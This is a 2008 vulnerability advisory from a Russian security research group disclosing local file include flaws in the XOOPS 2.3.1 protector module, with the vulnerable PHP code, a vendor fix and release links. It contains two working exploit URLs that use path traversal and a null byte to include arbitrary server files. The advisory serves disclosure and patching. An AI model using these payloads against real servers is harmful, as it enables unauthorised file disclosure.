From: Digital Security Research Group [DSecRG] (researchdsec.ru)
Date: Mon Dec 08 2008 - 06:18:39 CST

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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-040

Application: XOOPS
Versions Affected: 2.3.1
Vendor URL: http://www.xoops.org/
Bug: Multiple Local File Include
Exploits: YES
Reported: 10.11.2008
Vendor response: 10.11.2008
Solution: YES
Date of Public Advisory: 08.12.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

XOOPS has Multiple Local File Include vulnerabilities.

Details
*******

Local File Include vulnerability found in scripts:

xoops_lib/modules/protector/blocks.php
xoops_lib/modules/protector/main.php

Successful exploitation requires that "register_globals" is enabled.

Code
----
#################################################

$mytrustdirname = basename( dirname( __FILE__ ) ) ;
$mytrustdirpath = dirname( __FILE__ ) ;

// language files
$language = empty( $xoopsConfig['language'] ) ? 'english' : $xoopsConfig['language'] ;
if( file_exists( "$mydirpath/language/$language/main.php" ) ) {
        // user customized language file (already read by common.php)
        // include_once "$mydirpath/language/$language/main.php" ;
} else if( file_exists( "$mytrustdirpath/language/$language/main.php" ) ) {
        // default language file
        include_once "$mytrustdirpath/language/$language/main.php" ;
...

#################################################

For successful exploitation first condition in if..else statement must be not true.

Example:

http://[server]/[installdir]/xoops_lib/modules/protector/blocks.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00
http://[server]/[installdir]/xoops_lib/modules/protector/main.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00

Solution
********

Vendor fixed this flaw on 26.11.2008.

XOOPS 2.3.2a Security Release can be download from Sourceforge repository:

https://sourceforge.net/project/showfiles.php?group_id=41586&package_id=153583&release_id=643010

Release notes:

http://www.xoops.org/modules/news/article.php?storyid=4540

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

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